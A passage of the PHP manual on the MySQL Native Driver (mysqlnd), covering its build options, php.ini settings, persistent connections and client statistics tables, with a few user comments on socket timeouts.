That means you need to edit php.ini and add a section like this:

---------------------------
[mysql]
mysql.default_socket="/your/path/to/mysql.sock"
---------------------------
eric dot caron at gmail dot com 02-Sep-2009 06:59
One important part of the MySQL Native Driver, which is overlooked, is that when connecting to MySQL via a socket, the connection is subject to the "default_socket_timeout" value.

This means that if you have the default_socket_timeout set to 60 (default value), and you have a query that takes longer than 60 seconds to respond, the connection will be severed and getting the query results will fail.

The solution (as of PHP 5.3.0) is to change default_socket_timeout to -1 in php.ini, or with ini_set.


Introduction

MySQL Native Driver is a replacement for the MySQL Client Library (libmysqlclient). MySQL Native Driver is part of the official PHP sources as of PHP 5.3.0.

The MySQL database extensions MySQL extension, mysqli and PDO MYSQL all communicate with the MySQL server. In the past, this was done by the extension using the services provided by the MySQL Client Library. The extensions were compiled against the MySQL Client Library in order to use its client-server protocol.

With MySQL Native Driver there is now an alternative, as the MySQL database extensions can be compiled to use MySQL Native Driver instead of the MySQL Client Library.

MySQL Native Driver is written in C as a PHP extension.

User Contributed Notes

There are no user contributed notes for this page.


Overview

What it is not

Although MySQL Native Driver is written as a PHP extension, it is important to note that it does not provide a new API to the PHP programmer. The programmer APIs for MySQL database connectivity are provided by the MySQL extension, mysqli and PDO MYSQL. These extensions can now use the services of MySQL Native Driver to communicate with the MySQL Server. Therefore, you should not think of MySQL Native Driver as an API.

Why use it?

Using the MySQL Native Driver offers a number of advantages over using the MySQL Client Library.

The older MySQL Client Library was written by MySQL AB (now Oracle Corporation) and so was released under the MySQL license. This ultimately led to MySQL support being disabled by default in PHP. However, the MySQL Native Driver has been developed as part of the PHP project, and is therefore released under the PHP license. This removes licensing issues that have been problematic in the past.

Also, in the past, you needed to build the MySQL database extensions against a copy of the MySQL Client Library. This typically meant you needed to have MySQL installed on a machine where you were building the PHP source code. Also, when your PHP application was running, the MySQL database extensions would call down to the MySQL Client library file at run time, so the file needed to be installed on your system. With MySQL Native Driver that is no longer the case as it is included as part of the standard distribution. So you do not need MySQL installed in order to build PHP or run PHP database applications.

Because MySQL Native Driver is written as a PHP extension, it is tightly coupled to the workings of PHP. This leads to gains in efficiency, especially when it comes to memory usage, as the driver uses the PHP memory management system. It also supports the PHP memory limit. Using MySQL Native Driver leads to comparable or better performance than using MySQL Client Library, it always ensures the most efficient use of memory. One example of the memory efficiency is the fact that when using the MySQL Client Library, each row is stored in memory twice, whereas with the MySQL Native Driver each row is only stored once in memory.

Note: Reporting memory usage

Because MySQL Native Driver uses the PHP memory management system, its memory usage can be tracked with memory_get_usage(). This is not possible with libmysqlclient because it uses the C function malloc() instead.

Special features

MySQL Native Driver also provides some special features not available when the MySQL database extensions use MySQL Client Library. These special features are listed below:

  • Improved persistent connections

  • The special function mysqli_fetch_all()

  • Performance statistics calls:
mysqli_get_cache_stats(),
mysqli_get_client_stats(),
mysqli_get_connection_stats()

The performance statistics facility can prove to be very useful in identifying performance bottlenecks.

MySQL Native Driver also allows for persistent connections when used with the mysqli extension.

SSL Support

MySQL Native Driver has supported SSL since PHP version 5.3.3

Compressed Protocol Support

As of PHP 5.3.2 MySQL Native Driver supports the compressed client server protocol. MySQL Native Driver did not support this in 5.3.0 and 5.3.1. Extensions such as ext/mysql, ext/mysqli, that are configured to use MySQL Native Driver, can also take advantage of this feature. Note that PDO_MYSQL does NOT support compression when used together with mysqlnd.

Named Pipes Support

Named pipes support for Windows was added in PHP version 5.4.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Changelog

Changelog
Version | Description
5.3.0 | The MySQL Native Driver was added, with support for all MySQL extensions (i.e., mysql, mysqli and PDO_MYSQL). Passing in mysqlnd to the appropriate configure switch enables this support.
5.4.0 | The MySQL Native Driver is now the default for all MySQL extensions (i.e., mysql, mysqli and PDO_MYSQL). Passing in mysqlnd to configure is now optional.
5.5.0 | SHA-256 Authentication Plugin support was added

Installation on Unix

The MySQL database extensions must be configured to use the MySQL Client Library. In order to use the MySQL Native Driver, PHP needs to be built specifying that the MySQL database extensions are compiled with MySQL Native Driver support. This is done through configuration options prior to building the PHP source code.

For example, to build the MySQL extension, mysqli and PDO MYSQL using the MySQL Native Driver, the following command would be given:

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
[other options]

Installation on Windows

In the official PHP Windows distributions from 5.3 onwards, MySQL Native Driver is enabled by default, so no additional configuration is required to use it. All MySQL database extensions will use MySQL Native Driver in this case.

SHA-256 Authentication Plugin support

The MySQL Native Driver requires the OpenSSL functionality of PHP to be loaded and enabled to connect to MySQL through accounts that use the MySQL SHA-256 Authentication Plugin. For example, PHP could be configured using:

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
--with-openssl
[other options]

User Contributed Notes

jose dot nobile at gmail dot com 20-Oct-2010 07:15
On CentOS 5.4, installing php 5.3.3, is without mysqlnd

But is available mysql, mysqli, pdo_mysql


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MySQL Native Driver Configuration Options
Name | Default | Changeable | Changelog
mysqlnd.collect_statistics | "1" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.collect_memory_statistics | "0" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.debug | "" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.log_mask | 0 | PHP_INI_ALL | Available since PHP 5.3.0
mysqlnd.mempool_default_size | 16000 | PHP_INI_ALL | Available since PHP 5.3.3
mysqlnd.net_read_timeout | "31536000" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.net_cmd_buffer_size | 5.3.0 - "2048", 5.3.1 - "4096" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.net_read_buffer_size | "32768" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqlnd.sha256_server_public_key | "" | PHP_INI_PERDIR | Available since PHP 5.5.0.
mysqlnd.fetch_data_copy | 0 | PHP_INI_ALL | Available since PHP 5.6.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mysqlnd.collect_statistics boolean

Enables the collection of various client statistics which can be
accessed through mysqli_get_client_stats(),
mysqli_get_connection_stats(),
mysqli_get_cache_stats() and are shown in
mysqlnd section of the output of the
phpinfo() function as well.

This configuration setting enables all MySQL Native Driver statistics except those relating to memory management.

mysqlnd.collect_memory_statistics boolean

Enable the collection of various memory statistics which can be
accessed through mysqli_get_client_stats(),
mysqli_get_connection_stats(),
mysqli_get_cache_stats() and are shown in
mysqlnd section of the output of the
phpinfo() function as well.

This configuration setting enables the memory management statistics within the overall set of MySQL Native Driver statistics.

mysqlnd.debug string

Records communication from all extensions using mysqlnd to the specified log file.

The format of the directive is mysqlnd.debug = "option1[,parameter_option1][:option2[,parameter_option2]]".

The options for the format string are as follows:

  • A[,file] - Appends trace output to specified file. Also ensures that data is written after each write. This is done by closing and reopening the trace file (this is slow). It helps ensure a complete log file should the application crash.

  • a[,file] - Appends trace output to the specified file.

  • d - Enables output from DBUG_<N> macros for the current state. May be followed by a list of keywords which selects output only for the DBUG macros with that keyword. An empty list of keywords implies output for all macros.

  • f[,functions] - Limits debugger actions to the specified list of functions. An empty list of functions implies that all functions are selected.

  • F - Marks each debugger output line with the name of the source file containing the macro causing the output.

  • i - Marks each debugger output line with the PID of the current process.

  • L - Marks each debugger output line with the name of the source file line number of the macro causing the output.

  • n - Marks each debugger output line with the current function nesting depth

  • o[,file] - Similar to a[,file] but overwrites old file, and does not append.

  • O[,file] - Similar to A[,file] but overwrites old file, and does not append.

  • t[,N] - Enables function control flow tracing. The maximum nesting depth is specified by N, and defaults to 200.

  • x - This option activates profiling.

  • m - Trace memory allocation and deallocation related calls.

Example:

d:t:x:O,/tmp/mysqlnd.trace

Note:

This feature is only available with a debug build of PHP. Works on Microsoft Windows if using a debug build of PHP and PHP was built using Microsoft Visual C version 9 and above.

mysqlnd.log_mask integer

Defines which queries will be logged. The default 0, which disables logging. Define using an integer, and not with PHP constants. For example, a value of 48 (16 + 32) will log slow queries which either use 'no good index' (SERVER_QUERY_NO_GOOD_INDEX_USED = 16) or no index at all (SERVER_QUERY_NO_INDEX_USED = 32). A value of 2043 (1 + 2 + 8 + ... + 1024) will log all slow query types.

The types are as follows: SERVER_STATUS_IN_TRANS=1, SERVER_STATUS_AUTOCOMMIT=2,
SERVER_MORE_RESULTS_EXISTS=8, SERVER_QUERY_NO_GOOD_INDEX_USED=16, SERVER_QUERY_NO_INDEX_USED=32,
SERVER_STATUS_CURSOR_EXISTS=64, SERVER_STATUS_LAST_ROW_SENT=128, SERVER_STATUS_DB_DROPPED=256,
SERVER_STATUS_NO_BACKSLASH_ESCAPES=512, and SERVER_QUERY_WAS_SLOW=1024.

mysqlnd.mempool_default_size integer

Default size of the mysqlnd memory pool, which is used by result sets.

mysqlnd.net_read_timeout integer

mysqlnd and the MySQL Client Library, libmysqlclient use different networking APIs. mysqlnd uses PHP streams, whereas libmysqlclient uses its own wrapper around the operating level network calls. PHP, by default, sets a read timeout of 60s for streams. This is set via php.ini, default_socket_timeout. This default applies to all streams that set no other timeout value. mysqlnd does not set any other value and therefore connections of long running queries can be disconnected after default_socket_timeout seconds resulting in an error message "2006 - MySQL Server has gone away". The MySQL Client Library sets a default timeout of 365 * 24 * 3600 seconds (1 year) and waits for other timeouts to occur, such as TCP/IP timeouts. mysqlnd now uses the same very long timeout. The value is configurable through a new php.ini setting: mysqlnd.net_read_timeout. mysqlnd.net_read_timeout gets used by any extension (ext/mysql, ext/mysqli, PDO_MySQL) that uses mysqlnd. mysqlnd tells PHP Streams to use mysqlnd.net_read_timeout. Please note that there may be subtle differences between MYSQL_OPT_READ_TIMEOUT from the MySQL Client Library and PHP Streams, for example MYSQL_OPT_READ_TIMEOUT is documented to work only for TCP/IP connections and, prior to MySQL 5.1.2, only for Windows. PHP streams may not have this limitation. Please check the streams documentation, if in doubt.

mysqlnd.net_cmd_buffer_size long

mysqlnd allocates an internal command/network buffer of mysqlnd.net_cmd_buffer_size (in php.ini) bytes for every connection. If a MySQL Client Server protocol command, for example, COM_QUERY ("normal" query), does not fit into the buffer, mysqlnd will grow the buffer to the size required for sending the command. Whenever the buffer gets extended for one connection, command_buffer_too_small will be incremented by one.

If mysqlnd has to grow the buffer beyond its initial size of mysqlnd.net_cmd_buffer_size bytes for almost every connection, you should consider increasing the default size to avoid re-allocations.

The default buffer size is 2048 bytes in PHP 5.3.0. In later versions the default is 4096 bytes. The default can changed either through the php.ini setting mysqlnd.net_cmd_buffer_size or using mysqli_options(MYSQLI_OPT_NET_CMD_BUFFER_SIZE, int size).

It is recommended that the buffer size be set to no less than 4096 bytes because mysqlnd also uses it when reading certain communication packet from MySQL. In PHP 5.3.0, mysqlnd will not grow the buffer if MySQL sends a packet that is larger than the current size of the buffer. As a consequence, mysqlnd is unable to decode the packet and the client application will get an error. There are only two situations when the packet can be larger than the 2048 bytes default of mysqlnd.net_cmd_buffer_size in PHP 5.3.0: the packet transports a very long error message, or the packet holds column meta data from COM_LIST_FIELD (mysql_list_fields() and the meta data come from a string column with a very long default value (>1900 bytes).

As of PHP 5.3.2 mysqlnd does not allow setting buffers smaller than 4096 bytes.

The value can also be set using mysqli_options(link, MYSQLI_OPT_NET_CMD_BUFFER_SIZE, size).

mysqlnd.net_read_buffer_size long

Maximum read chunk size in bytes when reading the body of a MySQL command packet. The MySQL client server protocol encapsulates all its commands in packets. The packets consist of a small header and a body with the actual payload. The size of the body is encoded in the header. mysqlnd reads the body in chunks of MIN(header.size, mysqlnd.net_read_buffer_size) bytes. If a packet body is larger than mysqlnd.net_read_buffer_size bytes, mysqlnd has to call read() multiple times.

The value can also be set using mysqli_options(link, MYSQLI_OPT_NET_READ_BUFFER_SIZE, size).

mysqlnd.sha256_server_public_key string

SHA-256 Authentication Plugin related. File with the MySQL server public RSA key.

Clients can either omit setting a public RSA key, specify the key through this PHP configuration setting or set the key at runtime using mysqli_options(). If not public RSA key file is given by the client, then the key will be exchanged as part of the standard SHA-256 Authentication Plugin authentication procedure.

mysqlnd.fetch_data_copy long

Enforce copying result sets from the internal result set buffers into PHP variables instead of using the default reference and copy-on-write logic. Please, see the memory management implementation notes for further details.

Copying result sets instead of having PHP variables reference them allows releasing the memory occupied for the PHP variables earlier. Depending on the user API code, the actual database quries and the size of their result sets this may reduce the memory footprint of mysqlnd.

Do not set if using PDO_MySQL. PDO_MySQL has not yet been updated to support the new fetch mode.

User Contributed Notes

There are no user contributed notes for this page.


Incompatibilities

MySQL Native Driver is in most cases compatible with MySQL Client Library (libmysql). This section documents incompatibilities between these libraries.

  • Values of bit data type are returned as binary strings (e.g. "\0" or "\x1F") with libmysql and as decimal strings (e.g. "0" or "31") with mysqlnd. If you want the code to be compatible with both libraries then always return bit fields as numbers from MySQL with a query like this: SELECT bit + 0 FROM table.

User Contributed Notes

There are no user contributed notes for this page.


Persistent Connections

Using Persistent Connections

If mysqli is used with mysqlnd, when a persistent connection is created it generates a COM_CHANGE_USER (mysql_change_user()) call on the server. This ensures that re-authentication of the connection takes place.

As there is some overhead associated with the COM_CHANGE_USER call, it is possible to switch this off at compile time. Reusing a persistent connection will then generate a COM_PING (mysql_ping) call to simply test the connection is reusable.

Generation of COM_CHANGE_USER can be switched off with the compile flag MYSQLI_NO_CHANGE_USER_ON_PCONNECT. For example:

shell# CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT" ./configure --with-mysql=/usr/local/mysql/ --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql/bin/mysql_config --enable-debug && make clean && make -j6

Or alternatively:

shell# export CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT"
shell# configure --whatever-option
shell# make clean
shell# make

Note that only mysqli on mysqlnd uses COM_CHANGE_USER. Other extension-driver combinations use COM_PING on initial use of a persistent connection.

User Contributed Notes

There are no user contributed notes for this page.


Statistics

Using Statistical Data

MySQL Native Driver contains support for gathering statistics on the communication between the client and the server. The statistics gathered are of three main types:

  • Client statistics

  • Connection statistics

  • Zval cache statistics

If you are using the mysqli extension, these statistics can be obtained through three API calls:

  • mysqli_get_client_stats()

  • mysqli_get_connection_stats()

  • mysqli_get_cache_stats()

Note:

Statistics are aggregated among all extensions that use MySQL Native Driver. For example, when compiling both ext/mysql and ext/mysqli against MySQL Native Driver, both function calls of ext/mysql and ext/mysqli will change the statistics. There is no way to find out how much a certain API call of any extension that has been compiled against MySQL Native Driver has impacted a certain statistic. You can configure the PDO MySQL Driver, ext/mysql and ext/mysqli to optionally use the MySQL Native Driver. When doing so, all three extensions will change the statistics.

Accessing Client Statistics

To access client statistics, you need to call mysqli_get_client_stats(). The function call does not require any parameters.

The function returns an associative array that contains the name of the statistic as the key and the statistical data as the value.

Client statistics can also be accessed by calling the phpinfo() function.

Accessing Connection Statistics

To access connection statistics call mysqli_get_connection_stats(). This takes the database connection handle as the parameter.

The function returns an associative array that contains the name of the statistic as the key and the statistical data as the value.

Accessing Zval Cache Statistics

The MySQL Native Driver also collects statistics from its internal Zval cache. These statistics can be accessed by calling mysqli_get_cache_stats().

The Zval cache statistics obtained may lead to a tweaking of php.ini settings related to the Zval cache, resulting in better performance.

Buffered and Unbuffered Result Sets

Result sets can be buffered or unbuffered. Using default settings, ext/mysql and ext/mysqli work with buffered result sets for normal (non prepared statement) queries. Buffered result sets are cached on the client. After the query execution all results are fetched from the MySQL Server and stored in a cache on the client. The big advantage of buffered result sets is that they allow the server to free all resources allocated to a result set, once the results have been fetched by the client.

Unbuffered result sets on the other hand are kept much longer on the server. If you want to reduce memory consumption on the client, but increase load on the server, use unbuffered results. If you experience a high server load and the figures for unbuffered result sets are high, you should consider moving the load to the clients. Clients typically scale better than servers. "Load" does not only refer to memory buffers - the server also needs to keep other resources open, for example file handles and threads, before a result set can be freed.

Prepared Statements use unbuffered result sets by default. However, you can use mysqli_stmt_store_result() to enable buffered result sets.

Statistics returned by MySQL Native Driver

The following tables show a list of statistics returned by the
mysqli_get_client_stats(),
mysqli_get_connection_stats() and
mysqli_get_cache_stats() functions.

Returned mysqlnd statistics: Network
Statistic | Scope | Description | Notes
bytes_sent | Connection | Number of bytes sent from PHP to the MySQL server | Can be used to check the efficiency of the compression protocol
bytes_received | Connection | Number of bytes received from MySQL server | Can be used to check the efficiency of the compression protocol
packets_sent | Connection | Number of MySQL Client Server protocol packets sent | Used for debugging Client Server protocol implementation
packets_received | Connection | Number of MySQL Client Server protocol packets received | Used for debugging Client Server protocol implementation
protocol_overhead_in | Connection | MySQL Client Server protocol overhead in bytes for incoming traffic. Currently only the Packet Header (4 bytes) is considered as overhead. protocol_overhead_in = packets_received * 4 | Used for debugging Client Server protocol implementation
protocol_overhead_out | Connection | MySQL Client Server protocol overhead in bytes for outgoing traffic. Currently only the Packet Header (4 bytes) is considered as overhead. protocol_overhead_out = packets_sent * 4 | Used for debugging Client Server protocol implementation
bytes_received_ok_packet | Connection | Total size of bytes of MySQL Client Server protocol OK packets received. OK packets can contain a status message. The length of the status message can vary and thus the size of an OK packet is not fixed. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_ok | Connection | Number of MySQL Client Server protocol OK packets received. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_eof_packet | Connection | Total size in bytes of MySQL Client Server protocol EOF packets received. EOF can vary in size depending on the server version. Also, EOF can transport an error message. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_eof | Connection | Number of MySQL Client Server protocol EOF packets. Like with other packet statistics the number of packets will be increased even if PHP does not receive the expected packet but, for example, an error message. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_header_packet | Connection | Total size in bytes of MySQL Client Server protocol result set header packets. The size of the packets varies depending on the payload (LOAD LOCAL INFILE, INSERT, UPDATE, SELECT, error message). | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_header | Connection | Number of MySQL Client Server protocol result set header packets. | Used for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_field_meta_packet | Connection | Total size in bytes of MySQL Client Server protocol result set meta data (field information) packets. Of course the size varies with the fields in the result set. The packet may also transport an error or an EOF packet in case of COM_LIST_FIELDS. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_field_meta | Connection | Number of MySQL Client Server protocol result set meta data (field information) packets. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_rset_row_packet | Connection | Total size in bytes of MySQL Client Server protocol result set row data packets. The packet may also transport an error or an EOF packet. You can reverse engineer the number of error and EOF packets by subtracting rows_fetched_from_server_normal and rows_fetched_from_server_ps from bytes_received_rset_row_packet. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_rset_row | Connection | Number of MySQL Client Server protocol result set row data packets and their total size in bytes. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_prepare_response_packet | Connection | Total size in bytes of MySQL Client Server protocol OK for Prepared Statement Initialization packets (prepared statement init packets). The packet may also transport an error. The packet size depends on the MySQL version: 9 bytes with MySQL 4.1 and 12 bytes from MySQL 5.0 on. There is no safe way to know how many errors happened. You may be able to guess that an error has occurred if, for example, you always connect to MySQL 5.0 or newer and, bytes_received_prepare_response_packet != packets_received_prepare_response * 12. See also ps_prepared_never_executed, ps_prepared_once_executed. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_prepare_response | Connection | Number of MySQL Client Server protocol OK for Prepared Statement Initialization packets (prepared statement init packets). | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
bytes_received_change_user_packet | Connection | Total size in bytes of MySQL Client Server protocol COM_CHANGE_USER packets. The packet may also transport an error or EOF. | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_received_change_user | Connection | Number of MySQL Client Server protocol COM_CHANGE_USER packets | Only useful for debugging CS protocol implementation. Note that the total size in bytes includes the size of the header packet (4 bytes, see protocol overhead).
packets_sent_command | Connection | Number of MySQL Client Server protocol commands sent from PHP to MySQL. There is no way to know which specific commands and how many of them have been sent. At its best you can use it to check if PHP has sent any commands to MySQL to know if you can consider to disable MySQL support in your PHP binary. There is also no way to reverse engineer the number of errors that may have occurred while sending data to MySQL. The only error that is recorded is command_buffer_too_small (see below). | Only useful for debugging CS protocol implementation.
bytes_received_real_data_normal Connection Number of bytes of payload fetched by the PHP client from mysqlnd using the text protocol. This is the size of the actual data contained in result sets that do not originate from prepared statements and which have been fetched by the PHP client. Note that although a full result set may have been pulled from MySQL by mysqlnd, this statistic only counts actual data pulled from mysqlnd by the PHP client. An example of a code sequence that will increase the value is as follows:
$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->fetch_assoc();
$res->close();

Every fetch operation will increase the value.

The statistic will not be increased if the result set is only buffered on the client, but not fetched, such as in the following example:

$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->close();

This statistic is available as of PHP version 5.3.4.

bytes_received_real_data_ps | Connection | Number of bytes of the payload fetched by the PHP client from mysqlnd using the prepared statement protocol. | This is the size of the actual data contained in result sets that originate from prepared statements and which has been fetched by the PHP client. The value will not be increased if the result set is not subsequently read by the PHP client. Note that although a full result set may have been pulled from MySQL by mysqlnd, this statistic only counts actual data pulled from mysqlnd by the PHP client. See also bytes_received_real_data_normal. This statistic is available as of PHP version 5.3.4.

Result Set

Returned mysqlnd statistics: Result Set
Statistic | Scope | Description | Notes
result_set_queries | Connection | Number of queries that have generated a result set. Examples of queries that generate a result set: SELECT, SHOW. The statistic will not be incremented if there is an error reading the result set header packet from the line. | You may use it as an indirect measure for the number of queries PHP has sent to MySQL, for example, to identify a client that causes a high database load.
non_result_set_queries | Connection | Number of queries that did not generate a result set. Examples of queries that do not generate a result set: INSERT, UPDATE, LOAD DATA, SHOW. The statistic will not be incremented if there is an error reading the result set header packet from the line. | You may use it as an indirect measure for the number of queries PHP has sent to MySQL, for example, to identify a client that causes a high database load.
no_index_used | Connection | Number of queries that have generated a result set but did not use an index (see also mysqld start option –log-queries-not-using-indexes). If you want these queries to be reported you can use mysqli_report(MYSQLI_REPORT_INDEX) to make ext/mysqli throw an exception. If you prefer a warning instead of an exception use mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT).
bad_index_used | Connection | Number of queries that have generated a result set and did not use a good index (see also mysqld start option –log-slow-queries). | If you want these queries to be reported you can use mysqli_report(MYSQLI_REPORT_INDEX) to make ext/mysqli throw an exception. If you prefer a warning instead of an exception use mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT)
slow_queries | Connection | SQL statements that took more than long_query_time seconds to execute and required at least min_examined_row_limit rows to be examined. | Not reported through mysqli_report()
buffered_sets | Connection | Number of buffered result sets returned by "normal" queries. "Normal" means "not prepared statement" in the following notes. | Examples of API calls that will buffer result sets on the client: mysql_query(), mysqli_query(), mysqli_store_result(), mysqli_stmt_get_result(). Buffering result sets on the client ensures that server resources are freed as soon as possible and it makes result set scrolling easier. The downside is the additional memory consumption on the client for buffering data. Note that mysqlnd (unlike the MySQL Client Library) respects the PHP memory limit because it uses PHP internal memory management functions to allocate memory. This is also the reason why memory_get_usage() reports a higher memory consumption when using mysqlnd instead of the MySQL Client Library. memory_get_usage() does not measure the memory consumption of the MySQL Client Library at all because the MySQL Client Library does not use PHP internal memory management functions monitored by the function!
unbuffered_sets | Connection | Number of unbuffered result sets returned by normal (non prepared statement) queries. | Examples of API calls that will not buffer result sets on the client: mysqli_use_result()
ps_buffered_sets | Connection | Number of buffered result sets returned by prepared statements. By default prepared statements are unbuffered. | Examples of API calls that will not buffer result sets on the client: mysqli_stmt_store_result
ps_unbuffered_sets | Connection | Number of unbuffered result sets returned by prepared statements. | By default prepared statements are unbuffered.
flushed_normal_sets Connection Number of result sets from normal (non prepared statement) queries with unread data which have been flushed silently for you. Flushing happens only with unbuffered result sets. Unbuffered result sets must be fetched completely before a new query can be run on the connection otherwise MySQL will throw an error. If the application does not fetch all rows from an unbuffered result set, mysqlnd does implicitly fetch the result set to clear the line. See also rows_skipped_normal, rows_skipped_ps. Some possible causes for an implicit flush:

  • Faulty client application

  • Client stopped reading after it found what it was looking for but has made MySQL calculate more records than needed

  • Client application has stopped unexpectedly

flushed_ps_sets Connection Number of result sets from prepared statements with unread data which have been flushed silently for you. Flushing happens only with unbuffered result sets. Unbuffered result sets must be fetched completely before a new query can be run on the connection otherwise MySQL will throw an error. If the application does not fetch all rows from an unbuffered result set, mysqlnd does implicitly fetch the result set to clear the line. See also rows_skipped_normal, rows_skipped_ps. Some possible causes for an implicit flush:

  • Faulty client application

  • Client stopped reading after it found what it was looking for but has made MySQL calculate more records than needed

  • Client application has stopped unexpectedly

ps_prepared_never_executed | Connection | Number of statements prepared but never executed. | Prepared statements occupy server resources. You should not prepare a statement if you do not plan to execute it.
ps_prepared_once_executed | Connection | Number of prepared statements executed only one. | One of the ideas behind prepared statements is that the same query gets executed over and over again (with different parameters) and some parsing and other preparation work can be saved, if statement execution is split up in separate prepare and execute stages. The idea is to prepare once and "cache" results, for example, the parse tree to be reused during multiple statement executions. If you execute a prepared statement only once the two stage processing can be inefficient compared to "normal" queries because all the caching means extra work and it takes (limited) server resources to hold the cached information. Consequently, prepared statements that are executed only once may cause performance hurts.
rows_fetched_from_server_normal, rows_fetched_from_server_ps | Connection | Total number of result set rows successfully fetched from MySQL regardless if the client application has consumed them or not. Some of the rows may not have been fetched by the client application but have been flushed implicitly. | See also packets_received_rset_row
rows_buffered_from_client_normal, rows_buffered_from_client_ps | Connection | Total number of successfully buffered rows originating from a "normal" query or a prepared statement. This is the number of rows that have been fetched from MySQL and buffered on client. Note that there are two distinct statistics on rows that have been buffered (MySQL to mysqlnd internal buffer) and buffered rows that have been fetched by the client application (mysqlnd internal buffer to client application). If the number of buffered rows is higher than the number of fetched buffered rows it can mean that the client application runs queries that cause larger result sets than needed resulting in rows not read by the client. | Examples of queries that will buffer results: mysqli_query(), mysqli_store_result()
rows_fetched_from_client_normal_buffered, rows_fetched_from_client_ps_buffered | Connection | Total number of rows fetched by the client from a buffered result set created by a normal query or a prepared statement.
rows_fetched_from_client_normal_unbuffered, rows_fetched_from_client_ps_unbuffered | Connection | Total number of rows fetched by the client from a unbuffered result set created by a "normal" query or a prepared statement.
rows_fetched_from_client_ps_cursor | Connection | Total number of rows fetch by the client from a cursor created by a prepared statement.
rows_skipped_normal, rows_skipped_ps | Connection | Reserved for future use (currently not supported)
copy_on_write_saved, copy_on_write_performed | Process | With mysqlnd, variables returned by the extensions point into mysqlnd internal network result buffers. If you do not change the variables, fetched data will be kept only once in memory. If you change the variables, mysqlnd has to perform a copy-on-write to protect the internal network result buffers from being changed. With the MySQL Client Library you always hold fetched data twice in memory. Once in the internal MySQL Client Library buffers and once in the variables returned by the extensions. In theory mysqlnd can save up to 40% memory. However, note that the memory saving cannot be measured using memory_get_usage().
explicit_free_result, implicit_free_result | Connection, Process (only during prepared statement cleanup) | Total number of freed result sets. | The free is always considered explicit but for result sets created by an init command, for example, mysqli_options(MYSQLI_INIT_COMMAND , ...)
proto_text_fetched_null, proto_text_fetched_bit, proto_text_fetched_tinyint proto_text_fetched_short, proto_text_fetched_int24, proto_text_fetched_int proto_text_fetched_bigint, proto_text_fetched_decimal, proto_text_fetched_float proto_text_fetched_double, proto_text_fetched_date, proto_text_fetched_year proto_text_fetched_time, proto_text_fetched_datetime, proto_text_fetched_timestamp proto_text_fetched_string, proto_text_fetched_blob, proto_text_fetched_enum proto_text_fetched_set, proto_text_fetched_geometry, proto_text_fetched_other Connection Total number of columns of a certain type fetched from a normal query (MySQL text protocol). Mapping from C API / MySQL meta data type to statistics name:

  • MYSQL_TYPE_NULL - proto_text_fetched_null

  • MYSQL_TYPE_BIT - proto_text_fetched_bit

  • MYSQL_TYPE_TINY - proto_text_fetched_tinyint

  • MYSQL_TYPE_SHORT - proto_text_fetched_short

  • MYSQL_TYPE_INT24 - proto_text_fetched_int24

  • MYSQL_TYPE_LONG - proto_text_fetched_int

  • MYSQL_TYPE_LONGLONG - proto_text_fetched_bigint

  • MYSQL_TYPE_DECIMAL, MYSQL_TYPE_NEWDECIMAL - proto_text_fetched_decimal

  • MYSQL_TYPE_FLOAT - proto_text_fetched_float

  • MYSQL_TYPE_DOUBLE - proto_text_fetched_double

  • MYSQL_TYPE_DATE, MYSQL_TYPE_NEWDATE - proto_text_fetched_date

  • MYSQL_TYPE_YEAR - proto_text_fetched_year

  • MYSQL_TYPE_TIME - proto_text_fetched_time

  • MYSQL_TYPE_DATETIME - proto_text_fetched_datetime

  • MYSQL_TYPE_TIMESTAMP - proto_text_fetched_timestamp

  • MYSQL_TYPE_STRING, MYSQL_TYPE_VARSTRING, MYSQL_TYPE_VARCHAR - proto_text_fetched_string

  • MYSQL_TYPE_TINY_BLOB, MYSQL_TYPE_MEDIUM_BLOB, MYSQL_TYPE_LONG_BLOB, MYSQL_TYPE_BLOB - proto_text_fetched_blob

  • MYSQL_TYPE_ENUM - proto_text_fetched_enum

  • MYSQL_TYPE_SET - proto_text_fetched_set

